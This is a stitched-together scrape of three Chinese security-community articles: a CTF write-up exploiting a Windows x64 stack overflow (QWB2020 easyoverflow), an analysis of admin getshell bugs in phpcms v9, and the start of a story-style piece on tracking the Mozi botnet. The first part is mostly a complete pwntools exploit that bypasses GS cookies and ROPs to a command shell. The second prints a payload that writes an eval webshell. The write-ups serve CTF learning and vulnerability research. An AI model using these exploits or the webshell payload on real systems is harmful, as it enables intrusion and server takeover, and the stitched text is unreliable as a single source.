var_18`里面的值给到rcx，也就是把上面`__security_cookie`与rsp异或之后的值给rcx，然后再经过一次异或（这样的话`StackCookie`的值就会回到`__security_cookie`），最后与`__security_cookie`进行比较，如果相等则继续，不相等则crash掉
先构造以下poc测试一下
from pwn import *
context.log_level = 'debug'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
r = remote('10.211.55.3', 1234)
pause()
p1 = b'a' * 8
r.sendlineafter('input:', p1)
r.interactive()
然后在`puts("buffer:");`这里下个断点，之后看一下rsp的布局
0:000> dq rsp
000000ee`9973f840 00000000`00000000 00000000`00000000
000000ee`9973f850 00000000`00000000 00000000`00000002
000000ee`9973f860 61616161`61616161 00000000`0000000a
000000ee`9973f870 00000000`00000000 00000000`00000000
000000ee`9973f880 00000000`00000000 00000000`00000000
000000ee`9973f890 00000000`00000000 00000000`00000000
000000ee`9973f8a0 00000000`00000000 00000000`00000000
可以看到8个a已经被写入，上面的`StackCookie`会存到`rsp + 0x138 - 0x18`中，所以看一下
0:000> dq rsp + 0x138 - 0x18
000000ee`9973f960 00005fb0`2d14eecc 00000000`00000000
000000ee`9973f970 000002e8`94297480 00007ff6`71ad12f4
000000ee`9973f980 000000ee`9973f9e0 00007ff6`71ad136d
此时程序的StackCookie是`00005fb0
2d14eecc`这个值也就是`0x5fb02d14eecc`，看一下输入的buf距离这个地址多少，`ee9973f960 - ee9973f860 =
0x100`，所以编写poc泄露出`StackCookie`
from pwn import *
context.log_level = 'debug'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
r = remote('10.211.55.3', 1234)
pause()
p1 = b'a' * 0x100
r.sendlineafter('input:', p1)
r.recvuntil('a' * 0x100)
r.recvuntil('\n')
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))
r.interactive()
调试一下看一下泄露的是否正确
0:000> dq rsp + 0x130 - 0x18
00000057`f0bcfc88 61616161`61616161 00002447`1d701f43
00000057`f0bcfc98 00000000`00000000 00000185`4bf47480
00000057`f0bcfca8 00007ff6`637112f4 00000057`f0bcfd10
00000057`f0bcfcb8 00007ff6`6371136d 00000000`00000000
00000057`f0bcfcc8 00000000`00000000 00000000`00000000
可以看到`StackCookie`的值是`0x24471d701f43`
[DEBUG] Received 0x119 bytes:
00000000 62 75 66 66 65 72 3a 0d 0a 61 61 61 61 61 61 61 │buff│er:·│·aaa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 61 61 61 61 61 61 61 61 61 43 1f 70 1d 47 24 0d │aaaa│aaaa│aC·p│·G$·│
00000110 0a 69 6e 70 75 74 3a 0d 0a │·inp│ut:·│·│
00000119
StackCookie = 0x24471d701f43
poc里面`StackCookie`和上面调试的一样
### 泄露binary base
因为这个程序三次循环，只要最后的StackCookie正确就不会crash，所以第二次可以泄露出程序的基地址，也就是覆盖rbp，后面就会连带返回值一起泄露出来，poc如下
from pwn import *
context.log_level = 'debug'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
r = remote('10.211.55.3', 1234)
pause()
p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))
p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)
leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))
r.interactive()
运行即可成功泄露出返回地址，此时就可以算出binary base
from pwn import *
context.log_level = 'debug'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
r = remote('10.211.55.3', 1234)
pause()
p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))
p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)
leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))
binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))
r.interactive()
debug细节如下
[DEBUG] Received 0x131 bytes:
00000000 62 75 66 66 65 72 3a 0d 0a 61 61 61 61 61 61 61 │buff│er:·│·aaa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000120 61 f4 12 4c 0c f6 7f 0d 0a 69 6e 70 75 74 3a 0d │a··L│····│·inp│ut:·│
00000130 0a │·│
00000131
leak_addr = 0x7ff60c4c12f4
binary_base = 0x7ff60c4c0000
算出`binary_base = 0x7ff60c4c0000`，验证一下是否正确，直接看windbg前面的信息
Executable search path is:
ModLoad: 00007ff6`0c4c0000 00007ff6`0c4c7000 Z:\easyoverflow\StackOverflow.exe
ModLoad: 00007ff8`f3790000 00007ff8`f3b86000 C:\Windows\SYSTEM32\ntdll.dll
ModLoad: 00007ff8`f1eb0000 00007ff8`f1fa4000 C:\Windows\System32\xtajit64.dll
ModLoad: 00007ff8`f1020000 00007ff8`f117c000 C:\Windows\System32\KERNEL32.DLL
ModLoad: 00007ff8`ef810000 00007ff8`efdf9000 C:\Windows\System32\KERNELBASE.dll
ModLoad: 00007ff8`eedd0000 00007ff8`eeea8000 C:\Windows\SYSTEM32\apphelp.dll
ModLoad: 00007ff8`ef270000 00007ff8`ef464000 C:\Windows\System32\ucrtbase.dll
ModLoad: 00007ff8`e6e80000 00007ff8`e6eb5000 C:\Windows\SYSTEM32\VCRUNTIME140.dll
第二行就是binary的地址区间，基地址一样，证明poc正确
接下来需要打返回地址到main函数使得可以继续利用，值得注意的是因为到main函数之后栈会变，所以需要再次泄露出`StackCookie`，poc如下
from pwn import *
context.log_level = 'debug'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#r = remote('10.211.55.3', 1234)
r = remote('192.168.10.102', 1234)
#pause()
p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))
p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)
leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))
binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))
main_addr = 0x1000 + binary_base
p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))
### ret2dll
接下来就可以利用ret2dll的方法来getshell，第一步泄露出dll_base，上一节已经学过了利用iat表来泄露出dll_base，但是这个程序是64位的，参数通过寄存器传递，顺序是
`rcx rdx r8 r9`
所以笔者用Ropgadget找了一下发现gadgets很少几乎用不了
➜ easyoverflow ROPgadget --binary StackOverflow.exe --only 'pop|ret'
Gadgets information
============================================================
0x00000001400017ee : pop rbp ; ret
0x00000001400010c9 : pop rbx ; ret
0x00000001400014ed : pop rdi ; pop rsi ; pop rbx ; ret
0x000000014000133d : pop rdi ; ret
0x00000001400014ee : pop rsi ; pop rbx ; ret
0x00000001400010ca : ret
0x0000000140001818 : ret 0
0x0000000140001723 : ret 0x8348
0x0000000140001643 : ret 0xb70f
0x0000000140001678 : ret 0xeb28
0x0000000140001d12 : ret 3
在CTF
PWN中，可以通过泄露出libc然后用libc的gadgets，但是win下就不一样，因为没有可用的gadgets，所以需要借助ntdll.dll这个dll来寻找可用的gadgets，为什么是ntdll.dll呢，因为在main函数调用之前会调用ntdll.dll，所以可以泄露出这上面的地址，寻找一下
ModLoad: 00007fff`2da80000 00007fff`2dc89000 C:\WINDOWS\SYSTEM32\ntdll.dll
0:000> dq rsp + 0x170
00000010`d33ffb88 61616161`61616161 61616161`61616161
00000010`d33ffb98 61616161`61616161 61616161`61616161
00000010`d33ffba8 61616161`61616161 61616161`61616161
00000010`d33ffbb8 00007fff`2da8485b 00000000`00000000
在`10d33ffba8`这里存放的地址就是ntdll.dll上的地址，算一下偏移在0x180，并且泄露的地址与base偏移为`0x485b`所以构造如下exp
from pwn import *
context.log_level = 'debug'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#r = remote('10.211.55.3', 1234)
r = remote('192.168.10.102', 1234)
pause()
p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))
p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)
leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))
binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))
main_addr = 0x1000 + binary_base
p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))
p4 = b'a' * 0x180
r.sendafter('input:', p4)
r.recvuntil('a' * 0x180)
ntdll_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('ntdll_addr = ' + hex(ntdll_addr))
ntdll_base = ntdll_addr - 0x485b
li('ntdll_base = ' + hex(ntdll_base))
r.interactive()
输出的地址正确，因为有aslr的存在，所以地址肯定是随机的，这就造成了上面有时候地址不一样，需要注意的是这里笔者换成了实机，因为arm
windows11支持了x64的程序
>
> 相应的x64程序的公用DLL和ARM64程序使用的公用DLL一样都会存放在System32目录下。实际上，原来的ARM64系统DLL都已经进化成ARM64x
> ABI的混合DLL，这些DLL中的机器码主要仍是ARM64
> native的，ARM64程序仍然能以最高效率调用里面导出的函数。同时增加了对x64程序基于JIT指令转译模拟执行时调用相关导出函数的支持，主要是将x64调用约定转换为对相应的ARM64函数的调用，执行结果处理则反之。这样可以提高执行效率，因为如果直接使用自Win10
> x64版本的System32目录复制过来的x64 DLL的话，DLL中的机器码也需要指令转译，从而影响了执行效率。可能有点像Win10 on
> ARM下执行x86程序时调用系统常用的DLL使用SyChpe32中的CHPE DLL以提高执行效率的策略。
[DEBUG] Received 0x193 bytes:
00000000 3a 0d 0a 61 61 61 61 61 61 61 61 61 61 61 61 61 │:··a│aaaa│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000180 61 61 61 5b 48 a8 2d ff 7f 0d 0a 69 6e 70 75 74 │aaa[│H·-·│···i│nput│
00000190 3a 0d 0a │:··│
00000193
ntdll_addr = 0x7fff2da8485b
ntdll_base = 0x7fff2da80000
拿到ntdll的地址之后寻找需要用的gadgets，也就是能控制rcx的还有rbx，为什么还有个rbx，看下面的汇编
dec ebx
call memset
lea rcx, Buffer ; "input:"
call cs:puts
mov r8d, 400h ; MaxCharCount
lea rdx, [rsp+138h+DstBuf] ; DstBuf
xor ecx, ecx ; FileHandle
call cs:_read
lea rcx, aBuffer ; "buffer:"
call cs:puts
lea rcx, [rsp+138h+DstBuf] ; Buffer
call cs:puts
test ebx, ebx
jg short loc_7FF60C4C1060
通过rbx来控制循环次数，所以控制了rbx为1之后就可以继续执行rop，找到gadgets之后就需要构造rop了，在构造rop的时候会发现失败，排查下来可以发现是rsp的原因
0:000> r
rax=0000000000000140 rbx=0000000000000000 rcx=00000000ffffffff
rdx=00000245250cc230 rsi=0000000000000000 rdi=00000245250d0020
rip=00007ff678e11094 rsp=000000f986aff928 rbp=0000000000000000
r8=0000000000000140 r9=00007fff2b7909a0 r10=0000000000000000
r11=000000000000019c r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
StackOverflow+0x1094:
00007ff6`78e11094 488d0dbd110000 lea rcx,[StackOverflow+0x2258 (00007ff6`78e12258)]
0:000> g
Breakpoint 0 hit
StackOverflow+0x1094:
00007ff6`78e11094 488d0dbd110000 lea rcx,[StackOverflow+0x2258 (00007ff6`78e12258)]
0:000> r
rax=0000000000000140 rbx=0000000000000000 rcx=00000000ffffffff
rdx=00000245250cc230 rsi=0000000000000000 rdi=00000245250d0020
rip=00007ff678e11094 rsp=000000f986affa88 rbp=0000000000000000
r8=0000000000000140 r9=00007fff2b7909a0 r10=0000000000000000
r11=000000000000019c r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
因为rsp的值改变了，所以最后`check
cookie`会不通过，所以需要重新计算`StackCookie`，也就是泄露出`security_cookie`，再计算出新的rsp（`000000f986affa88
- 000000f986aff928 = 0x160`），所以exp如下
from pwn import *
context.log_level = 'debug'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#r = remote('10.211.55.3', 1234)
r = remote('192.168.10.102', 1234)
#pause()
p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))
p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)
leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))
binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))
main_addr = 0x1000 + binary_base
p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))
p4 = b'a' * 0x180
r.sendafter('input:', p4)
r.recvuntil('a' * 0x180)
ntdll_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('ntdll_addr = ' + hex(ntdll_addr))
ntdll_base = ntdll_addr - 0x485b
li('ntdll_base = ' + hex(ntdll_base))
pop_rcx_ret = 0x0000000000096065 + ntdll_base
pop_rbx_ret = 0x00000000000012a7 + ntdll_base
pop_rdx_ret = 0x00000000000f12ab + ntdll_base
puts_plt = 0x10A6 + binary_base
security_cookie_addr = 0x3008 + binary_base
p5 = b'a' * 0x100
p5 += p64(StackCookie)
p5 += b'a' * 0x10
p5 += p64(pop_rcx_ret)
p5 += p64(security_cookie_addr)
p5 += p64(pop_rbx_ret)
p5 += p64(1)
p5 += p64(puts_plt)
r.sendafter('input:', p5)
r.recvuntil('a' * 0x100)
r.recvline()
security_cookie = u64(r.recvn(6).ljust(8, b'\x00'))
li('security_cookie = ' + hex(security_cookie))
old_rsp = security_cookie ^ StackCookie
li('old_rsp = ' + hex(old_rsp))
new_rsp = old_rsp + 0x160
li('new_rsp = ' + hex(new_rsp))
现在有了新的rsp，通过`security_cookie`异或出新的`StackCookie`即可正常rop，此时输出`ucrtbase`，然后算出system和cmd，值得注意的是再次rop，rsp还是会变的，算好偏移即可，最终exp如下
from pwn import *
context.log_level = 'debug'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#r = remote('10.211.55.3', 1234)
r = remote('192.168.10.102', 1234)
#pause()
p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))
p2 = b'a' * 0x118
r.sendafter('input:' ,p2)
r.recvuntil('a' * 0x118)
leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))
binary_base = leak_addr - 0x12F4
li('binary_base = ' + hex(binary_base))
main_addr = 0x1000 + binary_base
p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))
li('StackCookie = ' + hex(StackCookie))
p4 = b'a' * 0x180
r.sendafter('input:', p4)
r.recvuntil('a' * 0x180)
ntdll_addr = u64(r.recv(6).ljust(8, b'\x00'))
li('ntdll_addr = ' + hex(ntdll_addr))
ntdll_base = ntdll_addr - 0x485b
li('ntdll_base = ' + hex(ntdll_base))
pop_rcx_ret = 0x0000000000096065 + ntdll_base
pop_rbx_ret = 0x00000000000012a7 + ntdll_base
pop_rdx_ret = 0x00000000000f12ab + ntdll_base
puts_plt = 0x10A6 + binary_base
security_cookie_addr = 0x3008 + binary_base
p5 = b'a' * 0x100
p5 += p64(StackCookie)
p5 += b'a' * 0x10
p5 += p64(pop_rcx_ret)
p5 += p64(security_cookie_addr)
p5 += p64(pop_rbx_ret)
p5 += p64(1)
p5 += p64(puts_plt)
r.sendafter('input:', p5)
r.recvuntil('a' * 0x100)
r.recvline()
security_cookie = u64(r.recvn(6).ljust(8, b'\x00'))
li('security_cookie = ' + hex(security_cookie))
old_rsp = security_cookie ^ StackCookie
li('old_rsp = ' + hex(old_rsp))
new_rsp = old_rsp + 0x160
li('new_rsp = ' + hex(new_rsp))
read_got = 0x2178 + binary_base
p6 = b'a' * 0x100
p6 += p64(new_rsp ^ security_cookie)
p6 += b'a' * 0x10
p6 += p64(pop_rcx_ret) + p64(read_got)
p6 += p64(pop_rbx_ret) + p64(1)
p6 += p64(puts_plt)
r.sendafter('input:', p6)
r.recvuntil('a' * 0x100)
r.recvline()
ucrt_base = u64(r.recvn(6).ljust(8, b'\x00')) - 0x7650
li('ucrt_base = ' + hex(ucrt_base))
system_addr = 0xBCB20 + ucrt_base
cmd = 0xE0020 + ucrt_base
p7 = b'a' * 0x100
p7 += p64((new_rsp + 0x160) ^ security_cookie)
p7 += b'a' * 0x10
p7 += p64(pop_rcx_ret) + p64(cmd)
p7 += p64(system_addr)
r.sendafter('input:', p7)
r.interactive()
看一下打通的
[*] Switching to interactive mode
[DEBUG] Received 0x6 bytes:
b'buffer'
buffer[DEBUG] Received 0x17d bytes:
00000000 3a 0d 0a 61 61 61 61 61 61 61 61 61 61 61 61 61 │:··a│aaaa│aaaa│aaaa│
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 61 61 61 8a d2 4f 29 c5 43 0d 0a 4d 69 63 72 6f │aaa·│·O)·│C··M│icro│
00000110 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 5b b0 e6 │soft│ Win│dows│ [··│
00000120 b1 be 20 31 30 2e 30 2e 32 32 30 30 30 2e 39 37 │·· 1│0.0.│2200│0.97│
00000130 38 5d 0d 0a 28 63 29 20 4d 69 63 72 6f 73 6f 66 │8]··│(c) │Micr│osof│
00000140 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e a1 a3 b1 │t Co│rpor│atio│n···│
00000150 a3 c1 f4 cb f9 d3 d0 c8 a8 c0 fb a1 a3 0d 0a 0d │····│····│····│····│
00000160 0a 43 3a 5c 55 73 65 72 73 5c 4c 65 6e 6f 76 6f │·C:\│User│s\Le│novo│
00000170 5c 44 65 73 6b 74 6f 70 5c 70 77 6e 3e │\Des│ktop│\pwn│>│
0000017d
:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��O)�C
Microsoft Windows [�汾 10.0.22000.978]
(c) Microsoft Corporation����������Ȩ����
C:\Users\Lenovo\Desktop\pwn>
一次不通可以多打几次
## 总结
也是学到了如何绕过GS，因为pwntools的模块没有像libc.sym的这样的东西，所以在写exp的时候没有自动化的一个获取，后面笔者有时间的话会寻找一下有没有对应的解决方案
## Reference
<https://www.zhihu.com/question/434317266/answer/1623308852>
<https://ret2ver.github.io/2021/10/02/2020%E5%BC%BA%E7%BD%91%E6%9D%AF-easyoverflow/>
<https://github.com/z1r00/ctf-pwn/blob/main/winpwn/QWB2020/easyoverflow.zip> | 社区文章 |
#### 后台GETSHELL
首先全局搜一下调用`include`或者`require`的地方
跟进到
if (@file_put_contents($filepath,$str)) {
ob_start();
include $filepath;
$html = ob_get_contents();
ob_clean();
@unlink($filepath);
}
往上走
$str = $tpl->template_parse(new_stripslashes($template));
字符串是从这里取出，往上走
$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
直接post过数据来，没经过任何处理,那么只要构造一下传过恶意数据来即可。
首先向
http://www.test.com/phpcms/install_package/index.php?m=block&c=block_admin&pc_hash=B8mgrw&a=add&pos=1
post:
dosubmit=1&name=ac&type=2
然后填入payload
<?php file_put_contents("phpcms_shell.php","<?php eval(\$_POST[1]);?>");
#### GETSHELL(二)
另外一个地方是利用cache处的编译，因为没有限制模板文件路径，导致只要有可控的html页面，即可到达`include`实现getshell。
首先看`modules\admin\category.php`处
$setting = $_POST['setting'];
if($_POST['info']['type']!=2) {
//栏目生成静态配置
if($setting['ishtml']) {
$setting['category_ruleid'] = $_POST['category_html_ruleid'];
} else {
$setting['category_ruleid'] = $_POST['category_php_ruleid'];
$_POST['info']['url'] = '';
}
}
//内容生成静态配置
if($setting['content_ishtml']) {
$setting['show_ruleid'] = $_POST['show_html_ruleid'];
} else {
$setting['show_ruleid'] = $_POST['show_php_ruleid'];
}
if($setting['repeatchargedays']<1) $setting['repeatchargedays'] = 1;
$_POST['info']['sethtml'] = $setting['create_to_html_root'];
//die(print_r($setting));
$_POST['info']['setting'] = array2string($setting);
die(print_r($_POST['info']));
$end_str = $old_end = '<script type="text/javascript">window.top.art.dialog({id:"test"}).close();window.top.art.dialog({id:"test",content:\'<h2>'.L("add_success").'</h2><span style="fotn-size:16px;">'.L("following_operation").'</span><br /><ul style="fotn-size:14px;"><li><a href="?m=admin&c=category&a=public_cache&menuid=43&module=admin" target="right" onclick="window.top.art.dialog({id:\\\'test\\\'}).close()">'.L("following_operation_1").'</a></li><li><a href="'.HTTP_REFERER.'" target="right" onclick="window.top.art.dialog({id:\\\'test\\\'}).close()">'.L("following_operation_2").'</a></li></ul>\',width:"400",height:"200"});</script>';
if(!isset($_POST['batch_add']) || empty($_POST['batch_add'])) {
$catname = CHARSET == 'gbk' ? $_POST['info']['catname'] : iconv('utf-8','gbk',$_POST['info']['catname']);
$letters = gbk_to_pinyin($catname);
$_POST['info']['letter'] = strtolower(implode('', $letters));
$catid = $this->db->insert($_POST['info'], true);
`setting`信息没有经过任何处理直接插入数据库，也就是达到了上文没有限制模板文件路径。
那么继续往下找，`setting[page_template]`字段既然有入库操作，必然有出库操作。
全局搜索一下
跟进第一处，往下走看到
include template('content',$template);
跟进`template`函数,在`libs\functions\globals.func.php`,主要代码如下
$compiledtplfile = PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR.'caches_template'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.php';
if(file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html')) {
if(!file_exists($compiledtplfile) || (@filemtime(PC_PATH.'templates'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') > @filemtime($compiledtplfile))) {
$template_cache->template_compile($module, $template, $style);
}
} else {
$compiledtplfile = PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR.'caches_template'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.php';
if(!file_exists($compiledtplfile) || (file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') && filemtime(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html') > filemtime($compiledtplfile))) {
$template_cache->template_compile($module, $template, 'default');
} elseif (!file_exists(PC_PATH.'templates'.DIRECTORY_SEPARATOR.'default'.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html')) {
showmessage('Template does not exist.'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR.$template.'.html');
}
}
就是一个编译的过程，继续跟入`template_compile`,主要代码如下
$content = @file_get_contents ( $tplfile );
$filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.$style.DIRECTORY_SEPARATOR.$module.DIRECTORY_SEPARATOR;
if(!is_dir($filepath)) {
mkdir($filepath, 0777, true);
}
$compiledtplfile = $filepath.$template.'.php';
$content = $this->template_parse($content);
$strlen = file_put_contents ( $compiledtplfile, $content );
`tpfile=>page_template`,然后就是编译成`php`的过程，现在即可到达`include`实现这个条件也达成，然后只是去找个可控的html文件。
可控的html文件比较多，如下
结合上面
因为burp不方便直接抓包，先提交然后看history
然后找到catid
访问
http://www.test.com/phpcms_v9.6.3_UTF8/install_package/index.php?m=content&c=index&a=lists&catid=15
即可getshell。 | 社区文章 |
# P2P僵尸网络深度追踪——Mozi（三）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 间谍菜鸟如何一步步成为一位优秀的间谍。
Mozi（一）传送带：<https://www.anquanke.com/post/id/240195>
Mozi（二）传送带：<https://www.anquanke.com/post/id/245500>
炎炎夏日，空调房和冰西瓜是打工人最大的安慰，上一篇的瓜各位吃得开心吗？
再大的瓜田也会有无瓜可吃的一天，Mozi节点数量多、增长快，如果只在一个指定范围内的二叉树中顺藤摸瓜，不免是冰山一角。为了解决这个问题，需要在上篇提到的技术方法的基础上结合本篇文章介绍的探测技术，两种方法相互支持。
本文首先由一个故事趣味引入诱捕探测器的工作流程，然后展开讲解探测器的工作原理，最后利用loT蜜罐测试探测器的覆盖率，并将两种探测技术进行对比。
PS：截止6月30日，我们探测到的历史感染Mozi节点数量为162万，其中中国有92万，占比约为57%。知微实验室致力于物联网安全研究，希望与各位安全同行一起交流合作，助力物联网安全。
## 一、墨子任务
作为间谍学院2020届优秀毕业生的你被选拔进入国家情报局，但是整日打杂做琐事，满怀壮志却始终没有机会施展，眼看着同一批加入的同事一个个被外派任务不免有些泄气。某日，局长突然把你叫进办公室，递给你寥寥无几的几页资料，只见第一页上写着——“墨子任务”。
局长：“这是去年底新发现的犯罪组织，目前还处于初期发展同伙阶段，但是他们扩展速度极快，威胁性不可估量，我知道你一直想有个机会证明自己，现在机会来了，但是相关资料很少，需要你自己去收集情报，此次任务代号是‘墨子’。”
你抑制住上扬的嘴角，答道：“收到，保证完成任务！”
回到局里给新人安排的简陋工位，你开始认真研究这几页资料，连呼吸仿佛都变得沉重……
资料显示，这个组织隐匿性极强，仅从表面无法分辨出来，且有一套完整的发展同伙流程：
组织内部没有上下级关系，每个人都做着相同的事
每个成员只对自己附近的特定人士洗脑
新人入伙后会立刻向一个指定的地点汇报新人信息，然后与附近同伙交换信息
新人会等待组织里的其他人暗中传递核心文件，至此完成一次完整的发展同伙流程。
组织里的人口流动性很大，里面的人随时都可以被清除记忆后被组织抛弃，为了隐藏身份，同伙之间都会使用暗号与握手动作掩人耳目完成接头。
### 1.1 伪造身份
局长提供的资料实在是太少了，怎么获取更多情报？有了！不入虎穴焉得虎子，得想办法混进去。间谍学院最基本的一堂课就是“身份伪造”，在情报局的身份库中选取“打工人”身份，这样的角色在生活中是最常见、最辛苦、精神力量大多脆弱，很容易被感染。
你迅速给自己伪造了几个他们“熟悉”的身份。
### 1.2 故意试探
既然这个组织发展同伙范围是每个人自己附近的区域，如果提前得知一些他们同伙的具体位置信息，主动出击接近他们，岂不是可以更快接近他们？你突然想到局长资料的最后一页提供了一些当时发现这个犯罪组织时侦察到的一些他们同伙的信息，决定分别使用一个新身份接近其中一个罪犯。
c0rpse？竟然是他！看着这熟悉的名字，你想起几天前小区“八卦的阿姨们”说22楼新搬来了个戴黑框眼镜看起来有些孤僻高冷的住户就叫这个名字，当时你还笑这名字奇怪。看来，从他身上入手是个好方法。
“嗨，你是新搬来的吗，好像以前没见过你？”这搭话实在是太尴尬，但是你辛苦蹲了三天终于蹲到和c0rpse两人单独乘电梯的机会不能错过了。
果然，他看了你一眼，点了下头就当是回答。
